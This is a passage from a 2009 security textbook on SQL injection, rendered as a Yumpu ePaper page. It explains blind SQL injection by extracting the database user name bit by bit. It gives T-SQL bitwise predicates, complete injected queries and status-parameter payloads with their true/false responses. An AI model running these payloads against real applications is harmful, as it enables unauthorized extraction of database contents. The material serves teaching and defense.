28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Blind <strong>SQL</strong> <strong>Injection</strong> Exploitation • Chapter 5 233<br />

Let’s examine a few Transact-<strong>SQL</strong> (T-<strong>SQL</strong>) predicates that return true when bit two of<br />

the first character of the username is 1, <strong>and</strong> otherwise return false. A byte that has just the<br />

second most significant bit set corresponds to hexadecimal 40 16<br />

<strong>and</strong> decimal value 64 10<br />

,<br />

which is used in the following predicates:<br />

ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 64 = 64<br />

ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 64 > 0<br />

ASCII(SUBSTRING(SYSTEM_USER,1,1)) | 64 ><br />

ASCII(SUBSTRING(SYSTEM_USER,1,1))<br />

ASCII(SUBSTRING(SYSTEM_USER,1,1)) ^ 64 <<br />

ASCII(SUBSTRING(SYSTEM_USER,1,1))<br />

Each of the predicates is equivalent, although they obviously have slightly different<br />

syntax. The first two use bitwise AND <strong>and</strong> are useful because they reference only the first<br />

character once, which shortens the injection string. A further advantage is that sometimes<br />

the query that produces the character could be time-inefficient or have side effects on the<br />

database, <strong>and</strong> we may not want to run it twice. The third <strong>and</strong> forth predicates use OR<br />

<strong>and</strong> XOR, respectively, but require the byte to be retrieved twice, on both sides of the<br />

operator. Their only advantage is in situations where the ampers<strong>and</strong> character is not allowed<br />

due to restrictions placed in the vulnerable application or defensive layers protecting the<br />

application. We now have a method by which we can ask the database whether a bit in<br />

a given byte is 1 or 0; if the predicate returns true the bit is 1; otherwise, the bit is 0.<br />

Returning to the chicken counting example, the <strong>SQL</strong> that will be executed to<br />

extract the first bit of the first byte is:<br />

SELECT COUNT(chick_id) FROM chickens WHERE status='Incubating' AND<br />

ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 128=128--'<br />

The <strong>SQL</strong> to return the second bit is:<br />

SELECT COUNT(chick_id) FROM chickens WHERE status='Incubating' AND<br />

ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 64=64--'<br />

The <strong>SQL</strong> to return the third bit is:<br />

SELECT COUNT(chick_id) FROM chickens WHERE status='Incubating' AND<br />

ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 32=32--'<br />

<strong>and</strong> so on, until all eight bits have been recovered. Converted into eight individual<br />

requests made to the chicken counting page we have these values for the status parameter<br />

along with the response when making the request:<br />

status=Incubating' AND ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 128=128-- (False)<br />

status=Incubating' AND ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 64=64-- (True)<br />

status=Incubating' AND ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 32=32-- (True)<br />

status=Incubating' AND ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 16=16-- (True)

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!